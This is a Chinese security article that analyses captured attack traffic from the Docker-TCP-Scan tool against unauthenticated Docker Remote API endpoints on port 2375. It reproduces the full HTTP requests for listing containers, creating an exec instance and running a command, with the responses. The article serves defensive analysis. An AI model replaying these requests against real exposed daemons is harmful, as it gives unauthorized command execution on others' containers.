随着企业上云逐渐形成了趋势和规模,云安全也成为了新的焦点和『风口』,云上安全越来越重要;在近几年的攻防中『AKSK』、『小程序』、『云上供应链』都已经成为了兵家必争之地和重要突破口
了解过 Docker Remote API
的师傅应该都知道2375端口,2375是Docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作;
当主机以 DOCKER_OPTS="-H tcp://0.0.0.0:2375"
这样的配置方式启动Docker时,可以在外部机器对 Docker Remote API
进行直接操作:docker -H tcp://$HOST:2375 ps
但Docker本身没有身份认证的功能,只要能访问到API服务端口,就可以操作Docker!
这就造成了非常严重的漏洞!能够直接通过 Docker Remote API
对相关运行的容器下发恶意命令!网络上对于 Docker Remote API 利用和详细分析的文章几乎没有,本文就曾哥开源的针对 Docker TCP socket 的利用工具 Docker-TCP-Scan
进行详细的攻击流量分析。通过使用 yakit
抓包工具,我们能够获取并解读全程攻击流量,揭示攻击的具体步骤。
同时感谢国际云安全联盟(CSA)渗透测试工作组对本开源工具提出的建议
AabyssZG/Docker-TCP-Scan: 旨在以攻促防,针对Docker TCP socket的开源利用工具
https://github.com/AabyssZG/Docker-TCP-Scan
攻击者通过发送 GET
请求来获取 Docker 容器的详细信息。这一操作利用了 Docker Daemon 的 TCP 端口 (2375),该端口默认情况下不要求认证,极易被攻击者利用进行信息泄露。
GET /containers/json HTTP/1.1
Host: XXXXXXX:2375
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36, Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:25 GMT
Connection: close
Content-Type: application/json
Content-Length: 1170[
{
"Id": "8dfafdbc3a40",
"Image": "ubuntu:latest",
"ImageID": "d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82",
"Command": "/bin/hello",
"Created": 1720106340,
"Ports": [{ "PrivatePort": 2222, "PublicPort": 3333, "Type": "tcp" }],
"SizeRw": 12288,
"Labels": {
"com.example.vendor": "Acme",
"com.example.license": "GPL",
"com.example.version": "1.0"
},
"State": "exited",
"Status": "Exit 0",
"NetworkSettings": {
"Networks": {
"bridge": {
"NetworkID": "7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812",
"EndpointID": "2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f",
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"MacAddress": "02:42:ac:11:00:02"
}
}
},
"Mounts": [
{
"Name": "fac362...80535",
"Source": "/data",
"Destination": "/data",
"Driver": "local",
"Mode": "ro,Z",
"Propagation": ""
}
]
}
]
解析:
通过这一步骤,攻击者可以获取 Docker 容器的详细信息,包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。
攻击者接下来会发送 POST
请求,通过 Docker API 创建一个新的执行环境(Exec Instance),并在 Cmd
参数中注入恶意命令(payload)。
POST /containers/8dfafdbc3a40/exec HTTP/1.1
Host: XXXXXXX:2375
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Length: 63{ "Cmd": ["pwd"], "AttachStdout": true, "AttachStderr": true }
HTTP/1.1 201 Created
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:38 GMT
Connection: close
Content-Type: application/json
Content-Length: 25{ "Id": "b90e34656806" }
解析:
这一阶段,攻击者利用 Docker 提供的 API 功能,创建了一个可以执行特定命令的环境,并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。
最后,攻击者利用之前获取的执行 ID,发送 POST
请求执行注入的命令。
POST /exec/b90e34656806/start HTTP/1.1
Host: XXXXXXX:2375
Accept: */*
Content-Type: application/json
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate, br
Content-Length: 34{ "Detach": false, "Tty": false }
HTTP/1.1 200 OK
Api-Version: 1.12
Docker-Experimental: false
Ostype: linux
Server: Docker/1.12 (linux)
Date: Mon, 19 Aug 2024 08:21:40 GMT
Connection: close
Content-Type: application/octet-stream
Content-Length: 19/home/root
解析:
通过执行命令,攻击者成功获取了 Docker 容器内部的文件系统信息,验证了其对目标容器的控制权。
GET /containers/json
请求,攻击者首先获取 Docker 容器的详细信息,为后续攻击做好准备。POST /containers/{container_id}/exec
请求,攻击者创建了一个可以执行命令的环境,并获取了执行 ID。POST /exec/{exec_id}/start
请求,攻击者在目标容器内执行了恶意命令,进一步掌控了容器。此类攻击利用了 Docker Daemon 开放的 TCP 端口,该端口默认情况下不要求认证,极容易被攻击者利用。